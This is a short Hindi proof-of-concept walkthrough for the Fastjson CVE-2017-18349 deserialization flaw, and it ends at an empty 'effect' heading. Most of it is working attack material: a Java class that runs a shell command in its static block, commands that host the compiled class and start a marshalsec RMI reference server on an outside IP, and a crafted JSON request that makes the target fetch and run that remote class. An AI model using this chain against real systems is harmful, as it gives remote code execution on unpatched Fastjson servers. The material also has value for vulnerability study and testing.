
Fastjson CVE-2017-18349 डिसेरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो तैयार किए गए JSON पेलोड और RMI सर्वर के माध्यम से रिमोट कोड निष्पादन का प्रदर्शन करता है।
प्रोजेक्ट को Maven प्रोजेक्ट के रूप में सेट करने के बाद निष्पादित करें (ध्यान दें: उच्च संस्करण के JDK का उपयोग करने पर विफलता हो सकती है, JDK संस्करण 1.8.65 का उपयोग करने की अनुशंसा की जाती है) FastjsondemoApplication.java का main फ़ंक्शन ही पर्याप्त है TouchFile.java फ़ाइल
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
उसके बाद, संस्करण 8 के javac का उपयोग करके .class फ़ाइल में संकलित करें
javac TouchFile.java
Python वेब सेवा शुरू करें
python -m SimpleHTTPServer 80
मार्शलसेक का उपयोग करके RMIServer जनरेट करें
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
अनुरोध पैकेट संशोधित करें
POST / HTTP/1.1
Host: 127.0.0.1:8080
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
प्रभाव: 